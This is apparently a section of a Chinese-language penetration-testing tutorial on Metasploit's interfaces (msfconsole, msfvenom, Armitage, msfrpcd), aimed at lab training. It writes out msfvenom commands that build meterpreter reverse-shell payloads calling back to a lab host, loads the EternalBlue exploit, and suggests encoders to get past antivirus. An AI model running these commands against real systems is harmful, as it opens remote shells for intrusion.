本节摘要:SOURCE 2.2:msfconsole 交互控制台、Armitage 图形化、msfvenom 独立生成 shellcode/可执行文件。
Metasploit 对外有多个入口,各自服务不同的战术场景。先把三个最常用的跑一遍,建立直观印象:
# 入口一:交互式控制台(日常测试主入口) msfconsole -q # msf6 > 提示符出现即进入 # 入口二:直接生成 payload(msfvenom,脱离控制台独立使用) msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.1 LPORT=4444 \ -f exe -o shell.exe # -p 指定 payload;-f 指定输出格式;-o 指定输出文件 # 入口三:批处理资源脚本(自动化复现实验步骤) msfconsole -q -r lab.rc
三个入口对应三种工作方式:交互式调试、一次性生产、可复现批处理。后续章节会反复使用它们。
msfconsole 不只是 CLI,它通过 Driver 对象维护交互循环,用 CommandDispatcher 把命令分发到不同命名空间。进入模块后,可用命令集会动态变化——在全局模式下输入 help 看到的是框架级命令,use 进入模块后 help 看到的则是模块级选项。Tab 补全与历史回溯(基于 Readline)让复杂操作变高效。
它的"上下文感知"还体现在会话管理上:exploit 成功返回的 shell 或 meterpreter 会被自动捕获并映射为可交互对象,可在多会话间无缝切换、后台运行,状态管理对用户近乎透明。
# 在控制台里体会"上下文切换" msf6 > search type:exploit name:smb # 搜索结果列表(名称 / 披露时间 / 检查支持 / 排名 / 说明) msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) > show options # 提示符变化,命令集也随之变化
msfvenom 是 msfpayload 与 msfencode 的继任者,专注"生成"单一职责。它的工作流是"模板选择—载荷注入—编码迭代—格式化输出"。同一份 shellcode 可以输出为 exe、dll、php、ps1、py 等任意格式,适配不同投递场景。
# 常见用法速览 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o payload.elf msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.56.1 LPORT=443 -f exe -o web.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o stage.bin # -e 可指定编码器;多次 -i 迭代编码(详见 5.3)
注意:msfvenom 生成的默认 payload 往往被 AV 秒删。实验机请关闭实时防护,或把生成、投递、执行都放在隔离环境内完成。
| 接口 | 场景 | 特点 |
|---|---|---|
| msfconsole | 日常测试 | Tab 补全、search、info |
| msfvenom | 载荷生成 | 与 exploit 分离投递 |
| Armitage | 可视化 C2 | 多主机拓扑 |
| msfrpcd | 自动化/协作 | MessagePack-RPC + Token 认证 |
msfrpcd 基于 MessagePack-RPC 协议(比 JSON 更紧凑的二进制序列化),允许外部程序用 Python、Java、Go 等语言驱动 Metasploit。它引入 Token 认证与 SSL/TLS 加密,保证远程控制指令的机密性。Armitage 的底层正是基于 msfrpcd 实现对框架的可视化控制。
# 启动 RPC 服务(端口与密码为示例) msfrpcd -P password -S -a 127.0.0.1 # -P 设置认证口令;-S 启用 SSL;-a 绑定地址
msfdb 是 PostgreSQL 与框架的适配器:扫描结果、凭证、漏洞记录都被结构化存入数据库,hosts、services、vulns 命令本质是对数据库的查询渲染。这就是 2.3 章的主题——没有数据库,扫描结果会随会话一起丢失。

⚠️ 常见坑:msfvenom 生成默认 payload 被 AV 秒删——实验机关闭实时防护或改用编码(见 5.3)。另外,
-f格式决定输出的是 exe/elf/ps1,别指望 ps1 格式能直接在 Linux 上跑。
💡 关键直觉:console 编排,venom 生产二进制「零件」。自动化场景优先用资源脚本(
-r lab.rc),把步骤固化为可复现资产。
search type:exploit name:smb 快速过滤,配合 show options 查看模块参数-f 格式决定输出 exe/elf/ps1/raw,-e 编码器改变特征模块库庞大到几千个,搜索能力决定工作效率。search 支持对元数据做结构化过滤,而不是简单的关键词匹配:
# 按类型/平台/名称过滤 msf6 > search type:exploit platform:windows name:smb # 按排名过滤(excellent 优先) msf6 > search rank:excellent type:exploit # 按 CVE 编号过滤(数据库已导入情报时) msf6 > search cve:2017 name:eternalblue # 按披露时间排序,优先看新洞 msf6 > search type:exploit --sort disclosure_date
搜索结果列包含:名称、披露时间、是否支持 check、排名、说明。info 命令查看完整元数据(Supported targets、options、references)。这套过滤逻辑在第 3 章渗透实施中会反复使用。
Armitage 基于 msfrpcd 把 MSF 可视化:主机以图标呈现在拓扑中,右键即可执行扫描、利用、后渗透操作,多主机会话一目了然。它适合需要整体视角的红蓝演练与教学演示。启动方式:
# 启动 Armitage(需先确认数据库在线) sudo armitage # 首次运行会提示连接本机 msfrpcd,输入端口与密码即可
-r lab.rc 让整条命令链可复现。资源脚本是后续 5.2 章的主角,这里先看最小形态:
# quick-scan.rc workspace -a demo use auxiliary/scanner/smb/smb_version set RHOSTS 192.168.56.10 run use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.56.10 run
msfconsole -q -r quick-scan.rc
同样的脚本可以在 CI 里定时跑,也可以作为新人培训的标准步骤。可复现性正是工程化的第一块基石。